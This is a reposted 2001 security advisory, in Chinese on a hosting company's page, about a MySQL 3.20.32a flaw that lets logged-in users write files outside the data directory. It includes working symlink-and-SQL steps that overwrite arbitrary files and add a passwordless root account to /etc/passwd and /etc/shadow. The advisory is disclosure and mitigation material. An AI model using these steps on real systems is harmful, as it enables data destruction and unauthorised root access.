手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>服务器技术>安全防护>列表

mysqld库文件创建漏洞

来源:互联网 作者:西部数码 时间:2008-04-09
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!
mysqld库文件创建漏洞

发布日期:2001-03-23
更新日期:2001-03-23

受影响系统:

mysql-3.20.32a,其它版本可能也存在此问题
描述:

任何可以用合法的用户名和密码登录进mysql的用户都可以利用mysqld来发起拒绝服
务攻击或者获得root权限,因为mysql视“../blah-blah”为合法的数据库名。其每
张表格是用3个文件表示的:tablename.ISD,tablename.ISM和tablename.frm,
但是mysqld在检查表格存在与否的时候仅仅检查tablename.frm。

<* 来源:Pavlov, Lesha (lesha@nn.ru) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


1、通过mysqld覆盖任意文件从而导致拒绝服务:
$ cd /var/tmp
$ ln -s /some/file/you/wish/to/owerwrite qqq.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table qqq(www int);
\q
$
上述例子将覆盖/some/file/you/wish/to/overwrite。

2、通过mysqld获得root权限:
$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n');
\q
$


建议:

临时解决办法:

NSFOCUS建议您将mysql数据库文件的属主改为普通用户,并以该普通用户的身份运行mysqld。

厂商补丁:

暂无。


文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!